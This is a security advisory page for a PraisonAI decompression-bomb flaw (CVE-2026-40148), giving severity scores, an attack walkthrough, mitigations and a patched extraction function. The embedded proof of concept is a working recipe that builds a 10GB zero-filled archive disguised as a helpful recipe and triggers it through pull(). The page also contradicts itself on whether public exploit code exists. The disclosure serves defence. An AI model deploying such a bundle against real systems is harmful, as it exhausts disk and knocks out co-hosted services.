CVE-2026-40148: PraisonAI: decompression bomb causes disk exhaustion

GHSA-f2h6-7xfr-xm8w MEDIUM PoC AVAILABLE CISA: TRACK*
Published April 10, 2026
CISO Take

PraisonAI's recipe registry extraction function validates archive paths against traversal attacks but omits any check on decompressed file size, allowing an attacker to craft a recipe bundle that is roughly 10MB compressed but expands to 10GB or more on extraction, silently filling the host's disk. Any PraisonAI deployment using LocalRegistry.pull() or HttpRegistry.pull() is exposed — no authentication is required to publish to the local registry, and the HTTP registry attack vector enables fully remote exploitation by controlling a recipe source. Although this CVE is not in CISA KEV and no public exploit code has been released, the decompression-bomb technique is trivially well-understood (zip bomb, tar bomb) and requires zero AI/ML expertise to weaponize, making exploitation accessible to low-sophistication threat actors. Upgrade praisonai to version 4.5.128 immediately; if patching is not possible, restrict pull() calls to explicitly trusted registries and monitor disk utilization on any host running PraisonAI agent workflows.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

Medium severity by CVSS (6.5) but operationally impactful for AI agent deployments. The network attack vector (AV:N) combined with no required privileges (PR:N) and a trivially well-known exploitation technique (tar bomb creation is thoroughly documented) means the barrier to attack is low. Disk exhaustion cascades beyond PraisonAI itself, potentially taking down co-hosted services, databases, or logging infrastructure on the same system. Environments where PraisonAI agents autonomously pull recipes from external or community registries are at highest risk, as the attack is fully automated and silent with no user-visible warning during extraction.

How does the attack unfold?

Malicious Bundle Crafting
Attacker creates a .praison recipe archive containing a decompression bomb — ~10MB of gzip-compressed zeros that expand to 10GB+ — disguised as a legitimate, helpfully-named recipe.
AML.T0011.001
Registry Distribution
Attacker publishes the malicious bundle to a local registry (no authentication required) or hosts it on a controlled HTTP registry endpoint that victims are configured to trust.
AML.T0010.001
Triggered Extraction
Victim or automated agent pipeline calls LocalRegistry.pull() or HttpRegistry.pull(), which invokes _safe_extractall() — path traversal checks pass silently but no size validation occurs before tar.extractall() detonates the bomb.
AML.T0011.001
Disk Exhaustion / DoS
10GB+ of data is written to disk within seconds, exhausting available storage and causing PraisonAI, co-hosted databases, and logging infrastructure to fail with disk-full errors.
AML.T0029

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip < 4.5.128 4.5.128
1 dependents 83% patched ~0d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
6.5 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 15% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI Required
S Unchanged
C None
I None
A High

What should I do?

5 steps
  1. Patch: Upgrade praisonai to >= 4.5.128, which adds MAX_EXTRACT_SIZE (500MB) and MAX_MEMBER_COUNT (1000) guards to _safe_extractall().

  2. Interim workaround: Whitelist only trusted, internally-controlled recipe registries and block pull() calls from external HTTP sources at the network or application level until patching is complete.

  3. Detection: Monitor disk utilization on PraisonAI hosts; alert on rapid disk growth (>1GB in <60 seconds) correlated with recipe pull operations.

  4. Audit: Review all recipe sources currently configured in LocalRegistry and HttpRegistry deployments; validate bundle sizes before extraction using a wrapper that inspects TarInfo.size.

  5. Runtime isolation: Run PraisonAI recipe pulls in isolated containers with disk quotas (e.g., Docker --storage-opt size=2G) to contain blast radius until patching is complete.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.8.6 - Information security in AI system development
NIST AI RMF
MANAGE-2.2 - Mechanisms to respond to AI risks
OWASP LLM Top 10
LLM10:2025 - Unbounded Consumption

Frequently Asked Questions

What is CVE-2026-40148?

PraisonAI's recipe registry extraction function validates archive paths against traversal attacks but omits any check on decompressed file size, allowing an attacker to craft a recipe bundle that is roughly 10MB compressed but expands to 10GB or more on extraction, silently filling the host's disk. Any PraisonAI deployment using LocalRegistry.pull() or HttpRegistry.pull() is exposed — no authentication is required to publish to the local registry, and the HTTP registry attack vector enables fully remote exploitation by controlling a recipe source. Although this CVE is not in CISA KEV and no public exploit code has been released, the decompression-bomb technique is trivially well-understood (zip bomb, tar bomb) and requires zero AI/ML expertise to weaponize, making exploitation accessible to low-sophistication threat actors. Upgrade praisonai to version 4.5.128 immediately; if patching is not possible, restrict pull() calls to explicitly trusted registries and monitor disk utilization on any host running PraisonAI agent workflows.

Is CVE-2026-40148 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-40148, increasing the risk of exploitation.

How to fix CVE-2026-40148?

1. Patch: Upgrade praisonai to >= 4.5.128, which adds MAX_EXTRACT_SIZE (500MB) and MAX_MEMBER_COUNT (1000) guards to _safe_extractall(). 2. Interim workaround: Whitelist only trusted, internally-controlled recipe registries and block pull() calls from external HTTP sources at the network or application level until patching is complete. 3. Detection: Monitor disk utilization on PraisonAI hosts; alert on rapid disk growth (>1GB in <60 seconds) correlated with recipe pull operations. 4. Audit: Review all recipe sources currently configured in LocalRegistry and HttpRegistry deployments; validate bundle sizes before extraction using a wrapper that inspects TarInfo.size. 5. Runtime isolation: Run PraisonAI recipe pulls in isolated containers with disk quotas (e.g., Docker --storage-opt size=2G) to contain blast radius until patching is complete.

What systems are affected by CVE-2026-40148?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI agent orchestration pipelines, CI/CD pipelines for AI.

What is the CVSS score for CVE-2026-40148?

CVE-2026-40148 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.24%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI agent orchestration pipelinesCI/CD pipelines for AI

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0011.001 Malicious Package
AML.T0029 Denial of AI Service
AML.T0074 Masquerading

Compliance Controls Affected

ISO 42001: A.8.6
NIST AI RMF: MANAGE-2.2
OWASP LLM Top 10: LLM10:2025

What are the technical details?

Original Advisory

## Summary The `_safe_extractall()` function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`. ## Details The vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`: ```python def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest_resolved = dest_dir.resolve() for member in tar.getmembers(): member_path = Path(member.name) # Reject absolute paths if member_path.is_absolute(): raise RegistryError(...) # Reject '..' components if '..' in member_path.parts: raise RegistryError(...) # Reject resolved paths escaping dest_dir resolved = (dest_resolved / member_path).resolve() if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(dest_dir) # <-- No size limit ``` The function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read. This function is called from two locations: - `LocalRegistry.pull()` at line 396-397 - `HttpRegistry.pull()` at line 791-792 The `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`. No size limits, upload quotas, or decompression guards exist anywhere in the registry module. ## PoC ```bash # Step 1: Create a malicious recipe bundle mkdir bomb && cd bomb cat > manifest.json << 'EOF' {"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]} EOF # Create a 10GB file of zeros (compresses to ~10MB with gzip) dd if=/dev/zero of=agent.yaml bs=1M count=10240 # Bundle it as a .praison file tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml cd .. # Step 2: Publish to local registry (~10MB stored) python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.publish('useful-recipe-1.0.0.praison') " # Step 3: Victim pulls — extracts 10GB to disk python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.pull('useful-recipe') " # Result: 10GB+ written to disk, potential disk exhaustion ``` ## Impact - **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system. - **No authentication required:** The local registry has no access controls on `publish()`, and HTTP registry bundles are fetched from remote servers that the attacker controls. - **Silent detonation:** The extraction happens automatically during `pull()` with no progress indication or size warning to the user. ## Recommended Fix Add a maximum extraction size limit to `_safe_extractall()`: ```python MAX_EXTRACT_SIZE = 500 * 1024 * 1024 # 500MB MAX_MEMBER_COUNT = 1000 def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None: dest_resolved = dest_dir.resolve() members = tar.getmembers() if len(members) > MAX_MEMBER_COUNT: raise RegistryError( f"Archive contains too many members ({len(members)} > {MAX_MEMBER_COUNT})" ) total_size = 0 for member in members: member_path = Path(member.name) if member_path.is_absolute(): raise RegistryError( f"Refusing to extract absolute path in archive: {member.name}" ) if '..' in member_path.parts: raise RegistryError( f"Refusing to extract path traversal in archive: {member.name}" ) resolved = (dest_resolved / member_path).resolve() if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved: raise RegistryError( f"Refusing to extract path escaping target directory: {member.name}" ) total_size += member.size if total_size > MAX_EXTRACT_SIZE: raise RegistryError( f"Archive extraction would exceed size limit " f"({total_size} > {MAX_EXTRACT_SIZE} bytes)" ) tar.extractall(dest_dir) ```

Exploitation Scenario

An adversary publishes a malicious recipe named 'langchain-optimizer' to a community-accessible HTTP recipe registry, or compromises an existing trusted one. The ~10MB bundle contains a single agent.yaml file consisting of 10GB of zeros compressed with gzip — a classic decompression bomb. When an AI platform engineer or automated agent workflow runs reg.pull('langchain-optimizer') to expand agent capabilities, PraisonAI's _safe_extractall() validates path components (finding no traversal) and then calls tar.extractall() without ever reading member.size. The host disk fills to capacity within seconds, crashing PraisonAI, causing co-hosted databases to fail on writes, and halting log rotation. The attacker achieves denial of service with a single ~10MB payload, and the victim sees no warning or progress indicator during extraction.

Weaknesses (CWE)

CWE-409 — Improper Handling of Highly Compressed Data (Data Amplification): The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Timeline

Published
April 10, 2026
Last Modified
April 10, 2026
First Seen
April 10, 2026

Related Vulnerabilities